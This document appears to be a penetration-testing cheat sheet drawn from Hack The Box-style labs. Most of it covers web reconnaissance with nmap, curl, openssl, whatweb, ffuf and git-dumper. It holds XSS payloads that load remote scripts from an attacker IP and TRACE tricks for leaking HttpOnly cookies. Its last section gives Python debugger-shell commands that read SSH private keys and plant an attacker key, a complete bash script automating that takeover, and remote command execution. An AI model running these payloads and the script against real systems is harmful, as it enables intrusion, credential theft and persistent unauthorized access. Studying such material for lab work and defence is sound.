Web Reconnaissance
Nmap
Scripts
nmap -n -p<PORT> --script http-config-backup <IP>
nmap -Pn -script=http-sitemap-generator scanme.nmap.org
nmap -n -Pn -vv -O -sV --script=http-enum,http-headers,http-methods,http-title,http-vuln* 192.168.1.1
nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000
Markdown
Test for
XSS
,HTML
injection andJavaScript
execution:
### local XSS
<img src=x onerror=alert(1) />
### load image
<img src="http://10.10.14.162:8000/image.png" />
### load script
<script src="http://10.10.14.162:8000/script.js"></script>
### Md
<img src='http://10.10.14.162:8000/test.md' />
TRACE
Method
Checking for Cross-Site Tracing (XST) โ Bypassing HttpOnly Cookies
If
TRACE
is enabled and the response reflects cookies, an attacker can bypass theHttpOnly
flag.Normally,
HttpOnly
prevents JavaScript from accessing cookies, butTRACE
can leak them if not properly restricted.
curl -X TRACE https://target.com -H "Test: XST"
If the response includes the custom header,
TRACE
is enabled.If it leaks
Set-Cookie
headers, itโs a serious security issue.Bug Bounty Impact
: Session Hijacking
Finding Internal Headers & Debug Info
Some servers return sensitive internal headers when TRACE
is enabled, such as:
X-Forwarded-For
--> Real client IP leak.X-Backend-Server
--> Internal server exposure.Via
--> Reveals proxy setup.
curl -X TRACE https://target.com
Look for unusual headers in the response.
Bug Bounty Impact
:Information Disclosure
Finding WAF / Security Device Bypasses
Some
WAFs
donโt inspectTRACE
requests properly.You can use
TRACE
to test whetherWAF
protections apply to certain endpoints.
curl -X TRACE https://target.com/index.php --data "payload=<script>alert(1)</script>"
If TRACE
reflects the payload, but normal requests are blocked, the WAF
is bypassable.
Checking for Cross-Origin Attacks
If
TRACE
is enabled, it might allowsame-origin policy (SOP)
bypasses.Some older browsers or misconfigured
CORS
setups can be exploited ifTRACE
echoes requests cross-origin.
Bypass User-Agent
filtering
Use
HTTPBin
to check theUser-Agent
from any client.
Experiment with those
User-Agent
:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.81
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Website Fingerprinting
Use
Wappalyzer
Or in the command line:
whatweb -v 10.10.10.121
curl -IL https://www.inlanefreight.com
SSL
Certificates
Use
openssl
to get the certificate's info:
echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text
echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep DNS | tr "," "\n" | cut -d: -f2
Create a custom wordlist with the subdomains to fuzz for response codes and gain a general idea of the content:
ffuf -c -w domains -u https://FUZZ
When working with
HTTPS
is good practice to validate theSSL/TLS
version and ciphers in use:
openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -showcerts
You can follow up with the
-cipher
flag to specify the cipher suites you're interested in:
openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -cipher ECDHE-RSA-AES256-GCM-SHA384
Check if the server implements
HSTS
by looking for it's header:
curl -I https://10.10.10.124
CGI
Scripts
sudo nmap --script http-shellshock --script-args uri=<URL_ARCHIVO_SH> -p80 <IP>
Dump .git
directory
If Directory brute-forcing reveals .git
dump the source code:
git-dumper http://cat.htb/.git ~/Documents/CTF/HTB/cat.htb/dump
Is a good practice to restore all files for further enumeration
git restore .
git restore --staged . && git diff
When error messages provide specific text, use them to locate validation code
grep "invalid characters" *
grep -r "forbidden" ./
find . -name "*.php" -exec grep -l "validation" {} \;
Check for common PHP sanitization functions
htmlspecialchars()
- Converts special characters to HTML entitiesfilter_var()
- Validates and sanitizes dataaddslashes()
- Escapes quotesstrip_tags()
- Removes HTML/PHP tags
Check JavaScript
Chunks
Client-side only
You'll only see endpoints the frontend knows aboutNot comprehensive
Server-only routes won't appearDynamic imports
: Some endpoints loaded conditionallyMinified code
Often obfuscated, but patterns still visible
You can typically found then on the Sources
tab from WebDev
Browser
_next/static/chunks/
static/js/
js/chunk-vendors
main.js, polyfills.js
Search for this terms:
Domain names
- External APIs, microservices, staging environments, CDN
endpoints
api
endpoint
graphql
fetch(
axios
token
Bearer
webhook
socket
cors
proxy
Default 404
Error Pages
Most of the time is possible to find out which technology the application is being run by looking at the 404 Error pages
. 0xdf
has a very good cheat sheet for this, check it out here
Ruby
Configuration Files
Worth to read the documentation
config/application.rb
config/database.yml
Python Debugger Web Shell Enumeration
os.getcwd()
os.listdir()
os.listdir('/home/user/.ssh')
with open('/home/user/.ssh/id_rsa','r') as f: f.read()
with open('/home/user/.ssh/authorized_keys','a') as f: f.write('\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SwpwZ7rgMtCZYzkDtFJvQZO20N+8DmYxOix+PgL6VQW/9wZC3xnKK1zeAelMYtv/O38GXE2ghUH7z6ayVmTMkjGqt18mhsEpCt0BbonGRC0IHoBsV5QBVNin+x1soVdECT1Tr45bNnTnkZXIgSyDumc+2Ix6A1wiiC5RbI3SrxJ7nL0lRlhjdoAH6KCb4dwhX+Jos0VudHRreE01+0YE0Qb7Sd0eA5Cq7UtjgiW6VyXcmWH7aQdVZlUanrs5wdwWYeVCxY/XfFCCDmHZw+8W5INudM2t7on7bl/rYnhAExOr14/1s7LfYAfV8B6VNPPX+IOzOcT4aYQC3rRDiG5P root@kali')
Automation Script
#!/bin/bash
# === Configuration ===
# Path to your private SSH key (used for SSH connection)
KEY="/root/id_rsa_generated"
# Path to your public SSH key (will be appended to target's authorized_keys)
PUB_KEY=$(cat "${KEY}.pub")
# Target URL where the Python debugger shell is accessible
TARGET_URL="http://10.10.10.139/articles/4"
# Target user's authorized_keys file path on the remote system
TARGET_PATH="/home/hal/.ssh/authorized_keys"
# Target SSH username and host for final connection
TARGET_USER="hal"
TARGET_HOST="10.10.10.139"
# Optional: Proxy for curl commands (set to empty if not needed)
PROXY="127.0.0.1:8080"
# === End Configuration ===
# Extract SECRET token from the debug page
SECRET=$(curl -s "${TARGET_URL}" | grep SECRET | cut -d'"' -f2)
# Extract frame ID from the debug page
FRAME=$(curl -s "${TARGET_URL}" | grep 'id="frame' | head -1 | cut -d- -f2 | cut -d'"' -f1)
echo "[+] Retrieved frame ID and secret token from debug page"
# Function to run a command via the Python debugger shell
run_cmd() {
local cmd="$1"
curl -s -G -X GET "${TARGET_URL}?__debugger__=yes&frm=${FRAME}&s=${SECRET}" \
--data-urlencode "cmd=${cmd}" \
-x "${PROXY}" | grep -v ">>>"
}
echo "[*] Backing up target authorized_keys file"
run_cmd "import shutil"
run_cmd "shutil.copyfile('${TARGET_PATH}', '${TARGET_PATH}.bak')"
echo "[*] Appending public SSH key to target authorized_keys"
run_cmd "f = open('${TARGET_PATH}', 'a')"
run_cmd "f.write('\n${PUB_KEY}')"
run_cmd "f.close()"
echo "[*] Attempting SSH connection to ${TARGET_USER}@${TARGET_HOST}"
echo "[*] Remember to restore the original authorized_keys after session"
ssh -i "${KEY}" "${TARGET_USER}@${TARGET_HOST}" << EOF
mv ${TARGET_PATH}.bak ${TARGET_PATH}
bash
EOF
If you donโt use a proxy for curl, set
PROXY=""
or remove the-x
option inrun_cmd
.
Look for RCE
import subprocess
proc = subprocess.check_output('whoami', shell=True );
print(proc.decode('utf-8'))
proc = subprocess.check_output('ls -la /home/hal', shell=True );
print(proc.decode('utf-8'))
Last updated